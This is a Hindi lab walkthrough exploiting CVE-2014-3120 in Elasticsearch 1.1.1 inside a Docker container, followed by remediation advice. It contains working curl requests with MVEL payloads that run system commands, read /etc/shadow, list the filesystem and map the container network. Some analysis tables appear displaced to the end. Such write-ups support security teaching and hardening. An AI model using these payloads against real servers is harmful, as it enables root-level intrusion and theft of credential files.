
वातावरण में क्या चल रहा है, इससे शुरुआत करते हैं। हम सभी सक्रिय कंटेनरों की सूची बनाते हैं:
docker ps

परिणाम: कंटेनर p1/lab10:latest चल रहा है, जो बाहरी रूप से 2 पोर्ट उजागर करता है:
| पोर्ट मैपिंग | प्रोटोकॉल |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (सत्यापन आवश्यक) |
0.0.0.0:9300 → 9300/tcp | अज्ञात |
प्रारंभिक अवलोकन: पोर्ट 9200 और 9300 को आमतौर पर Elasticsearch के डिफ़ॉल्ट पोर्ट के रूप में जाना जाता है। हालाँकि, हम केवल पोर्ट नंबरों के आधार पर निष्कर्ष नहीं निकाल सकते - कई अन्य सेवाएँ किसी भी पोर्ट से बाइंड हो सकती हैं।
⇒ हम यह सत्यापित करने के लिए सीधे प्रत्येक पोर्ट पर curl करते हैं कि वास्तव में कौन सी सेवा चल रही है।
curl -i http://192.168.3.137:9300/

प्रतिक्रिया विश्लेषण:
curl: (52) Empty reply from serverआकलन: सर्वर ने TCP कनेक्शन स्वीकार किया (कोई कनेक्शन अस्वीकार नहीं), लेकिन HTTP प्रोटोकॉल का उपयोग करके प्रतिक्रिया नहीं दी। यह पोर्ट 9300 पर Elasticsearch ट्रांसपोर्ट प्रोटोकॉल के व्यवहार से मेल खाता है - यह एक बाइनरी प्रोटोकॉल है जो क्लस्टर में नोड्स के बीच संचार के लिए उपयोग होता है, HTTP नहीं।
⇒ मानसिकता: पोर्ट 9300 एक बाइनरी प्रोटोकॉल उपयोग करता है → इसे सीधे curl/ब्राउज़र के माध्यम से एक्सप्लॉइट नहीं किया जा सकता। जाँच के लिए पोर्ट 9200 पर स्विच करें - HTTP REST API पोर्ट।
curl -i http://192.168.3.137:9200/

प्रतिक्रिया विश्लेषण:
आक्रमण सतह आकलन:

⇒ मानसिकता: Elasticsearch 1.1.1 डिफ़ॉल्ट रूप से डायनेमिक स्क्रिप्टिंग सक्षम करता है - जिससे क्लाइंट सर्वर द्वारा निष्पादित करने के लिए खोज क्वेरी में स्क्रिप्ट (MVEL एक्सप्रेशन) भेज सकते हैं। सैंडबॉक्स या उचित सत्यापन के बिना, एक हमलावर सिस्टम कमांड निष्पादित करने के लिए एक दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट कर सकता है। अगला कदम: सत्यापित करें कि क्या डायनेमिक स्क्रिप्टिंग वास्तव में लक्ष्य पर सक्रिय है।
Elasticsearch एक स्क्रिप्टिंग सुविधा का समर्थन करता है - जो क्लाइंट्स को परिणाम संसाधित करते समय सर्वर द्वारा निष्पादित करने के लिए खोज अनुरोधों के भीतर स्क्रिप्ट (गणितीय या तार्किक अभिव्यक्तियाँ) भेजने की अनुमति देता है। Elasticsearch 1.x में, इस सुविधा के लिए डिफ़ॉल्ट इंजन MVEL (MVFLEX एक्सप्रेशन भाषा) है।
Elasticsearch 1.2 से पहले के संस्करणों में, डायनेमिक स्क्रिप्टिंग डिफ़ॉल्ट रूप से सक्षम है (script.disable_dynamic: false)। इसका मतलब है:
_search API में script_fields पैरामीटर के माध्यम से मनमानी स्क्रिप्ट भेज सकते हैंjava.lang.Runtime.getRuntime().exec() को इनवोक कर सकते हैंscript_fields कैसे काम करता हैजब script_fields के साथ एक खोज अनुरोध भेजा जाता है, Elasticsearch निम्नलिखित करेगा:
_search API के माध्यम से JSON अनुरोध प्राप्त करेगाscript_fields फ़ील्ड को पार्स करेगा → निष्पादित करने के लिए script ढूँढेगाJava में, सिस्टम कमांड निष्पादित करने का सबसे सामान्य तरीका है:
Runtime.getRuntime().exec("command");
MVEL, Java क्लासेस तक पूर्ण पहुँच वाली एक अभिव्यक्ति भाषा के रूप में, इसे सीधे इनवोक करने की अनुमति देता है:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
प्रत्येक भाग की व्याख्या:
⇒ मानसिकता: Elasticsearch के साथ, RCE आउटपुट सीधे प्रतिक्रिया में लौटाया जाता है — इसे किसी फ़ाइल में रीडायरेक्ट करके वापस पढ़ने की आवश्यकता नहीं होती। यह एक्सप्लॉइट को साफ और सत्यापित करने में तेज़ बनाता है।
लक्ष्य की Elasticsearch 1.1.1 के रूप में पहचान करने के बाद, अगला कदम यह सत्यापित करना है कि क्या डायनेमिक स्क्रिप्टिंग वास्तव में सक्षम है।
CVE-2014-3120 इस तथ्य का शोषण करता है कि Elasticsearch क्लाइंट्स को _search अनुरोधों के भीतर स्क्रिप्ट भेजने की अनुमति देता है। यदि स्क्रिप्ट सर्वर द्वारा निष्पादित की जाती है, तो एक हमलावर हानिरहित अभिव्यक्ति को एक पेलोड से बदल सकता है जो सिस्टम कमांड निष्पादित करने के लिए Java रनटाइम को कॉल करता है।
पहले, हम एक परीक्षण दस्तावेज़ बनाते हैं ताकि यह सुनिश्चित हो सके कि क्वेरी के पास कम से कम एक मेल खाता परिणाम है। यदि कोई दस्तावेज़ मेल नहीं खाता, तो script_fields का मूल्यांकन नहीं किया जाएगा।
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
फिर इंडेक्स रिफ्रेश करें:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
इसके बाद, हम script_fields के साथ एक _search अनुरोध भेजते हैं जिसमें एक हानिरहित MVEL अभिव्यक्ति होती है:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

हम स्क्रिप्ट "1+1" भेजते हैं और सर्वर परिणाम 2 लौटाता है। यह साबित करता है कि Elasticsearch केवल _search अनुरोध प्राप्त नहीं करता, बल्कि सर्वर साइड पर डायनेमिक स्क्रिप्ट निष्पादित भी करता है।
⇒ डायनेमिक स्क्रिप्टिंग लक्ष्य पर सक्रिय है।
चूँकि लक्ष्य Elasticsearch 1.1.1 है, जो 1.2 से पहले है, यह CVE-2014-3120 की एक्सप्लॉइटेशन आवश्यकताओं से मेल खाता है: Elasticsearch संस्करण 1.2 से पहले डिफ़ॉल्ट रूप से डायनेमिक स्क्रिप्टिंग सक्षम करता है, जिससे एक दूरस्थ हमलावर खोज अनुरोध के माध्यम से MVEL एक्सप्रेशन/Java कोड निष्पादित कर सकता है।
हमने सत्यापित किया है कि script_fields को Elasticsearch द्वारा सर्वर साइड पर हानिरहित अभिव्यक्ति "1+1" के माध्यम से निष्पादित किया जाता है, जो [2] लौटाती है।
यह साबित करता है कि लक्ष्य न केवल मानक खोजों की अनुमति देता है, बल्कि क्लाइंट्स को _search प्रसंस्करण के दौरान सर्वर द्वारा मूल्यांकन के लिए एक MVEL स्क्रिप्ट भेजने की भी अनुमति देता है।
CVE-2014-3120 के साथ, महत्वपूर्ण जोखिम इस तथ्य में निहित है कि Elasticsearch 1.1.1 में MVEL Java क्लासेस तक पहुँच सकता है। इसलिए, "1+1" जैसी गणितीय अभिव्यक्ति भेजने के बजाय, एक हमलावर Java रनटाइम को कॉल करने वाली स्क्रिप्ट भेज सकता है:
Runtime.getRuntime().exec("command")
यह मानक Java API है जिसका उपयोग एक नई प्रक्रिया बनाने और ऑपरेटिंग सिस्टम पर कमांड निष्पादित करने के लिए किया जाता है।
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response
RCE पेलोड:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

पेलोड विवरण:
परिणाम:
प्रतिक्रिया fields.exploit फ़ील्ड लौटाती है जिसमें id कमांड का आउटपुट होता है:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
विश्लेषण:
पेलोड ने script_fields के अंदर MVEL स्क्रिप्ट के माध्यम से Runtime.getRuntime().exec("id") को सफलतापूर्वक इनवोक किया। तथ्य यह है कि प्रतिक्रिया id कमांड का आउटपुट लौटाती है, यह साबित करता है कि कमांड सर्वर साइड पर निष्पादित की गई थी।
परिणाम uid=0(root) gid=0(root) groups=0(root) इंगित करता है कि कंटेनर के अंदर Elasticsearch प्रक्रिया root विशेषाधिकारों के साथ चल रही है।
RCE की पुष्टि के बाद, संवेदनशील फ़ाइलों को पढ़ने का प्रयास करके वास्तविक विशेषाधिकारों को सत्यापित किया जाना चाहिए:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

देखा गया परिणाम:
प्रतिक्रिया /etc/shadow फ़ाइल की सामग्री लौटाती है:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
विश्लेषण:
/etc/shadow फ़ाइल Linux में एक संवेदनशील सिस्टम फ़ाइल है, जो आमतौर पर केवल root उपयोगकर्ता या समकक्ष विशेषाधिकारों वाली प्रक्रियाओं द्वारा पठनीय होती है। पिछले चरण में, id कमांड ने लौटाया:
uid=0(root) gid=0(root) groups=0(root)
यह चरण वास्तविक व्यवहार से इसे और पुष्टि करता है: RCE पेलोड /etc/shadow को सफलतापूर्वक पढ़ने में सक्षम है।
⇒ कंटेनर के अंदर Elasticsearch रूट विशेषाधिकारों के साथ चल रहा है।
⇒ प्रभाव केवल सामान्य कमांड निष्पादन तक सीमित नहीं है, बल्कि कंटेनर के अंदर रूट विशेषाधिकारों के साथ RCE है।
नोट: यहाँ root विशेषाधिकार Docker कंटेनर के अंदर के root को संदर्भित करता है। कंटेनर के privileged मोड में चलने, Docker सॉकेट माउंट करने, या होस्ट से संवेदनशील वॉल्यूम माउंट करने के सबूत के बिना हम यह निष्कर्ष नहीं निकाल सकते कि हमलावर के पास होस्ट पर root विशेषाधिकार हैं।
RCE की पुष्टि हो चुकी है। दायरे का मूल्यांकन करने के लिए हम सिस्टम जानकारी एकत्र करने के लिए आगे बढ़ते हैं।
root विशेषाधिकारों के साथ RCE की पुष्टि के बाद, हम लक्ष्य के अंदर फाइलसिस्टम का निरीक्षण करने के लिए MVEL पेलोड के माध्यम से ls -la / कमांड चलाते हैं:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

परिणाम: प्रतिक्रिया rootfs फ़ील्ड में / डायरेक्टरी की सामग्री लौटाती है।
विश्लेषण:
तथ्य यह है कि ls -la / का आउटपुट JSON प्रतिक्रिया में दिखाई देता है, यह साबित करता है कि कमांड RCE के माध्यम से लक्ष्य पर निष्पादित की गई थी। docker-entrypoint.sh, elasticsearch डायरेक्टरी, और docker-java-home सिमलिंक जैसी फ़ाइलें इंगित करती हैं कि समझौता किया गया वातावरण Elasticsearch चलाने वाला एक कंटेनर है।
⇒ हमलावर root विशेषाधिकारों के साथ कंटेनर के अंदर फाइलसिस्टम की सूची बना सकता है।
चूँकि कंटेनर में /sbin/ifconfig बाइनरी नहीं है, हम सीधे /proc/net/route पढ़ते हैं। इस फ़ाइल को बाहरी उपयोगिताओं की आवश्यकता नहीं होती और यह कंटेनर की रूटिंग तालिका प्रदान करती है।
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

विश्लेषण:
परिणाम दिखाते हैं कि कंटेनर में इंटरफ़ेस eth0 है और यह Docker नेटवर्क 172.19.0.0/16 के भीतर स्थित है। डिफ़ॉल्ट गेटवे 172.19.0.1 है।
यह साबित करता है कि कंटेनर के पास Docker ब्रिज के माध्यम से आंतरिक नेटवर्क कनेक्टिविटी है। चूँकि हमलावर के पास पहले से ही कंटेनर के अंदर root विशेषाधिकारों के साथ RCE है, वे सैद्धांतिक रूप से आगे बढ़कर उसी Docker नेटवर्क में अन्य होस्ट्स/सेवाओं का निरीक्षण कर सकते हैं, यदि नेटवर्क नीतियाँ अनुमति देती हैं।
हालाँकि, यह आउटपुट केवल रूटिंग स्तर पर नेटवर्क दृश्यता साबित करता है, एक सफल पाइवट नहीं। पाइवट का निष्कर्ष निकालने के लिए आगे के सबूतों की आवश्यकता होती है, जैसे किसी अन्य होस्ट को सफलतापूर्वक स्कैन करना, किसी आंतरिक सेवा से कनेक्ट करना, या किसी अन्य नेटवर्क से संसाधन प्राप्त करना।
विश्लेषण के दौरान एकत्र किए गए सबूतों के आधार पर, लक्ष्य पोर्ट 9200 पर Elasticsearch 1.1.1 चला रहा है। यह संस्करण 1.2 से पहले का है, जो इसे CVE-2014-3120 के प्रभावित दायरे में रखता है।
यह भेद्यता Elasticsearch द्वारा संस्करण 1.2 से पहले डिफ़ॉल्ट रूप से डायनेमिक स्क्रिप्टिंग सक्षम करने से उत्पन्न होती है, जो क्लाइंट्स को खोज अनुरोधों के माध्यम से MVEL स्क्रिप्ट सबमिट करने की अनुमति देती है। इस लैब में, यह सुविधा हानिरहित अभिव्यक्ति "1+1" का उपयोग करके कार्यशील पाई गई, जिसने परिणाम [2] लौटाया।
इसके बाद, MVEL पेलोड ने इनवोक किया:
Runtime.getRuntime().exec("id")
प्रतिक्रिया ने लौटाया:
uid=0(root) gid=0(root) groups=0(root)
यह साबित करता है कि एक हमलावर Elasticsearch के माध्यम से सिस्टम कमांड निष्पादित कर सकता है। इसके अलावा, पेलोड ने सफलतापूर्वक /etc/shadow पढ़ा, जो पुष्टि करता है कि निष्पादन विशेषाधिकार कंटेनर के भीतर root है।
1. Elasticsearch को नए संस्करण में अपग्रेड करें
Elasticsearch को संस्करण >= 1.2.0 (न्यूनतम) या आदर्श रूप से वर्तमान समर्थित संस्करण (8.x) में अपग्रेड करें। संस्करण 1.2 से शुरू करके, डायनेमिक स्क्रिप्टिंग डिफ़ॉल्ट रूप से अक्षम है।
2. डायनेमिक स्क्रिप्टिंग को तुरंत अक्षम करें (यदि अपग्रेड संभव नहीं है)
elasticsearch.yml में निम्नलिखित जोड़ें:
script.disable_dynamic: true
यह परिवर्तन करने के बाद Elasticsearch को पुनरारंभ करें। यह क्लाइंट्स द्वारा खोज अनुरोधों के भीतर स्क्रिप्ट सबमिट करने की क्षमता को पूरी तरह से अक्षम कर देता है।
3. Elasticsearch REST API को अविश्वसनीय नेटवर्कों पर उजागर न करें
Elasticsearch में संस्करण 1.x में डिफ़ॉल्ट प्रमाणीकरण नहीं होता। यदि इसे उजागर करना आवश्यक है, तो इसे प्रमाणीकरण के साथ रिवर्स प्रॉक्सी के पीछे रखें या केवल 127.0.0.1 से बाइंड करें।
4. प्रमाणीकरण और एन्क्रिप्शन सक्षम करें
आधुनिक Elasticsearch संस्करण (7.x+) अंतर्निहित सुरक्षा (प्रमाणीकरण, TLS) का समर्थन करते हैं। यदि अपग्रेड किया गया है, तो सुरक्षा सुविधाएँ सक्षम करें:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. फ़ायरवॉल का उपयोग करके पहुँच प्रतिबंधित करें
केवल विश्वसनीय IP को पोर्ट 9200 और 9300 तक पहुँच की अनुमति दें। उन्हें इंटरनेट या पूरे आंतरिक नेटवर्क पर उजागर न करें।
6. Elasticsearch को कम-विशेषाधिकार वाले उपयोगकर्ता के रूप में चलाएँ
Elasticsearch को root उपयोगकर्ता के अंतर्गत न चलाएँ। न्यूनतम विशेषाधिकारों के साथ एक समर्पित elasticsearch उपयोगकर्ता बनाएँ। यह एक आधिकारिक सर्वोत्तम अभ्यास है:
| क्षेत्र | मान | अर्थ |
|---|
name | "Rage" | Elasticsearch नोड का नाम (यादृच्छिक Marvel चरित्र नाम - पुराने ES संस्करणों का डिफ़ॉल्ट व्यवहार) |
version.number | "1.1.1" | अत्यंत पुराना संस्करण - अप्रैल 2014 में जारी |
build_timestamp | "2014-04-16T14:27:12Z" | 2014 में निर्मित |
lucene_version | "4.7" | Lucene 4.7 - पुराना इंडेक्सिंग इंजन |
tagline | "You Know, for Search" | Elasticsearch की विशिष्ट हस्ताक्षर पंक्ति |
| भाग | व्याख्या |
|---|
import java.io.* | Java IO क्लासेस आयात करें |
Runtime.getRuntime() | Java रनटाइम इंस्टेंस प्राप्त करें |
.exec("id") | शेल कमांड id निष्पादित करें |
.getInputStream() | प्रक्रिया की आउटपुट स्ट्रीम प्राप्त करें |
new Scanner(...).useDelimiter("\\A").next() | संपूर्ण आउटपुट को एक स्ट्रिंग के रूप में पढ़ें |
| भाग | उद्देश्य |
|---|
"size": 1 | परिणाम को 1 दस्तावेज़ तक सीमित करता है |
"query" → "match_all" | सभी दस्तावेज़ों से मेल खाता है (इंडेक्स में कम से कम 1 दस्तावेज़ मौजूद होना आवश्यक है) |
"script_fields" → "exploit" | MVEL स्क्रिप्ट निष्पादित करने वाला एक परिकलित फ़ील्ड परिभाषित करता है |
"script": "import java.io.*; ..." | MVEL अभिव्यक्ति जो id कमांड निष्पादित करती है और आउटपुट लौटाती है |
| मानदंड | आकलन | विवरण |
|---|
| CVE | CVE-2014-3120 | Elasticsearch डायनेमिक स्क्रिप्टिंग RCE |
| प्रभावित सेवा | Elasticsearch | REST API पोर्ट 9200 पर उजागर |
| संस्करण | 1.1.1 | 1.2 से पहले, प्रभावित संस्करणों के अंतर्गत आता है |
| प्रमाणीकरण | लैब में आवश्यक नहीं | REST API सीधे प्रतिक्रिया देती है, कोई क्रेडेंशियल आवश्यक नहीं |
| एक्सप्लॉइट शर्तें | डायनेमिक स्क्रिप्टिंग सक्षम | स्क्रिप्ट "1+1" द्वारा [2] लौटाने से पुष्टि |
| प्राप्त विशेषाधिकार | कंटेनर में root | id uid=0(root) लौटाता है |
| प्रभाव | बहुत उच्च | RCE, संवेदनशील फ़ाइलें पढ़ना, फाइलसिस्टम सूचीबद्ध करना, उपयोगकर्ता/नेटवर्क विवरण एकत्र करना |
| दायरा | कंटेनर | अभी तक होस्ट समझौते का कोई सबूत नहीं |
| पाइवटिंग | आगे सत्यापन की संभावना | कंटेनर के पास Docker नेटवर्क 172.19.0.0/16 में eth0 के माध्यम से एक रूट है |